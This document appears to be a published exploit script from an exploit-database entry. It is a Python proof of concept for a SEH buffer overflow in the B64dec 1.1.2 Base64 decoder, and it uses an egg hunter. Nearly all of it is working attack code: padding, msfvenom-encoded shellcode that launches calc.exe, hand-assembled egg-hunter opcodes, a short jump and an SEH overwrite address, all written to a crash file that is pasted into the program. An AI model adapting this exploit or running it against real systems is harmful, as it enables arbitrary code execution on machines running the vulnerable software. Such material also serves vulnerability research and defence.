# Exploit Title: B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter)
# Date: 2020-04-13
# Exploit Author: Andy Bowden
# Vendor Homepage: https://4mhz.de/b64dec.html
# Software Link: https://4mhz.de/download.php?file=b64dec-1-1-2.zip
# Version: Base64 Decoder 1.1.2
# Tested on: Windows 10 x86

#Instructions:
# Run the script to create the Crash.txt file. Copy the contents of the file and paste them into the search box and then click decode. 

f = open("crash.txt", "wb")

padding1   = b"ERCDERCD" 
padding1  += b"\x90" * 100

# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x0a\x0d'
# cmd=calc.exe exitfunc=thread -f python
payload =  b""
payload += b"\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
payload += b"\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
payload += b"\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
payload += b"\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
payload += b"\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
payload += b"\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
payload += b"\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
payload += b"\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
payload += b"\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
payload += b"\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
payload += b"\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
payload += b"\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
payload += b"\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
payload += b"\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
payload += b"\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
payload += b"\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
payload += b"\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

egghunter  = b"\x8B\xFD"                # mov edi,ebp
egghunter += b"\xB8\x45\x52\x43\x44"    # mov eax,45525344 ERCD                       
egghunter += b"\x47"                    # inc edi                                                                 
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                  
egghunter += b"\x75\xFB"                # jne                             
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                  
egghunter += b"\x75\xF7"                # jne        
egghunter += b"\xFF\xE7"                # jmp edi

buf = padding1 + payload 
buf += b"\x90" * (580 - len(padding1 + payload))
buf += egghunter
buf += b"\x90" * (620 - len(buf))
buf += b"\x90\x90\xEB\xCE"
buf += b"\x86\x1e\x40" #00401e86

f.write(buf)
f.close()